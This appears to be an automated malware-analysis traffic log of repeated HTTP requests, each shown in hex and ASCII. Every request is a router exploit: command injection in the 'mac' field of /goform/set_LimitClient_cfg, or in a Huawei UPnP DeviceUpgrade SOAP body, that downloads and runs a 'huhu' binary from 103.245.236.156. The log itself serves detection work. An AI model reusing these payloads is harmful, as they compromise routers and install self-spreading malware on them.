Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 